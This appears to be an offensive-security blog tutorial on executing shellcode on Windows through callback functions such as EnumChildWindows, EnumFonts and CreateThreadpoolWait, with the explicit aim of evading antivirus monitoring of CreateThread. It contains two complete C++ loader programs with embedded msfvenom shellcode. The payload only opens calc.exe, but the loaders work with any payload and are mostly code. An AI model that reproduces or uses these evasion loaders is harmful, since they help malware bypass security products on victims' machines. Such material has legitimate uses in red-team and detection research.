Executing shellcode on a system is normally done by allocating memory with VirtualAlloc, and then using CreateThread() to pass execution to that memory region. Since CreateThread is often heavily monitored by Anti-Virus solutions, it’s worth exploring alternative methods of executing our shellcode.
Callback Functions
Callback functions accept a pointer to user defined code. We can call these functions with a pointer to our shellcode to trigger its execution.
For example, EnumChildWindows accepts the following parameters;
BOOL EnumChildWindows(
[in, optional] HWND hWndParent, // A handle to the parent window whose child windows are to be enumerated.
[in] WNDENUMPROC lpEnumFunc, // A pointer to an application-defined callback function.
[in] LPARAM lParam // A application-defined value to be passed to the callback function.
);
Calling the function with the lpEnumFunc defined will trigger our shellcode.
EnumChildWindows(NULL, (WNDENUMPROC)shellcode, NULL);
The below application randomly picks a callback function to execute our code. Although this implements 8 different callback functions, there are many others available.
#include <Windows.h>
#include <stdio.h>
#include <iostream>
#include <random>
int main()
{
//msfvenom -p windows/x64/exec CMD="calc.exe" EXITFUNC=thread -f c
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xfe\x0e\x32\xea\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
HANDLE buffer = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(buffer, shellcode, sizeof(shellcode));
std::random_device rd;
std::mt19937 gen(rd());
std::uniform_int_distribution<int> distribution(1, 8);
int random_number = distribution(gen);
int technique = random_number;
switch (technique)
{
case 1:
std::cout << "1 EnumChildWindows\n";
EnumChildWindows(NULL, (WNDENUMPROC)buffer, NULL);
break;
case 2:
std::cout << "2 EnumSystemGeoID\n";
EnumSystemGeoID(GEOCLASS_NATION, 0, (GEO_ENUMPROC)buffer);
break;
case 3:
std::cout << "3 EnumSystemLanguageGroupsA\n";
EnumSystemLanguageGroupsA((LANGUAGEGROUP_ENUMPROCA)buffer, LGRPID_SUPPORTED, 0);
break;
case 4:
std::cout << "4 EnumFonts\n";
EnumFonts(GetDC(0), (LPCWSTR)0, (FONTENUMPROC)(char*)buffer, 0);
break;
case 5:
std::cout << "5 EnumDisplayMonitors\n";
EnumDisplayMonitors((HDC)0, (LPCRECT)0, (MONITORENUMPROC)(char*)buffer, (LPARAM)0);
break;
case 6:
std::cout << "6 EnumSystemLocalesA\n";
EnumSystemLocalesA((LOCALE_ENUMPROCA)buffer, NULL);
break;
case 7:
std::cout << "7 EnumDateFormatsA\n";
EnumDateFormatsA((DATEFMT_ENUMPROCA)buffer, LOCALE_SYSTEM_DEFAULT, (DWORD)0);
break;
case 8:
std::cout << "8 EnumDesktopsW\n";
EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)buffer, NULL);
break;
}
}
CreateThreadpoolWait Execution
This technique has been used in some recent malware campaigns.
A thread pool is a collection of threads that are created to perform tasks concurrently. The CreateThreadpoolWait function is used to create a wait object within a thread pool, and happens to support a callback;
PTP_WAIT CreateThreadpoolWait(
[in] PTP_WAIT_CALLBACK pfnwa, // The callback function to call when the wait completes or times out.
[in, out, optional] PVOID pv, // Optional application-defined data to pass to the callback function.
[in, optional] PTP_CALLBACK_ENVIRON pcbe // If this parameter is NULL, the callback executes in the default environment.
);
To execute shellcode using this method, we need to carry out the following steps:
Create an Event
HANDLE event = CreateEvent(NULL, FALSE, FALSE, NULL);
- NULL is passed as lpEventAttributes, which means default security attributes are used.
- FALSE is passed as bManualReset, indicating that the event is auto-reset.
- FALSE is passed as bInitialState, meaning the event is not initially signaled.
- NULL is passed as lpName, indicating that the event is created without a name.
Create a ThreadPoolWait Object
Set CreateThreadpoolWait to point to our shellcode (stored in “buffer”).
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)buffer, NULL, NULL);
Monitor the Event Object
Use SetThreadpoolWait to monitor the event object. If no signal is issued, the ThreadPoolWait object will be executed after the &ft timer has expired.
SetThreadpoolWait(threadPoolWait, event, &ft);
This leaves us with the following code.
#include <Windows.h>
#include <stdio.h>
#include <iostream>
#include <random>
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xfe\x0e\x32\xea\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
int main()
{
// Allocate memory as usual
HANDLE buffer = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(buffer, shellcode, sizeof(shellcode));
// Define our timeout value
FILETIME ft;
ULARGE_INTEGER uli;
GetSystemTimeAsFileTime(&ft);
uli.LowPart = ft.dwLowDateTime;
uli.HighPart = ft.dwHighDateTime;
uli.QuadPart += 5 * 10000000; // 5 seconds
ft.dwLowDateTime = uli.LowPart;
ft.dwHighDateTime = uli.HighPart;
HANDLE event = CreateEvent(NULL, FALSE, FALSE, NULL);
// Use below for immediate signalling
//HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)buffer, NULL, NULL);
SetThreadpoolWait(threadPoolWait, event, &ft);
WaitForSingleObject(event, INFINITE);
return 0;
}
In Conclusion
Callback functions can assist in evading detection, particularly when using more obscure function calls. Many more callback functions can be identified by searching Microsoft’s developer documentation.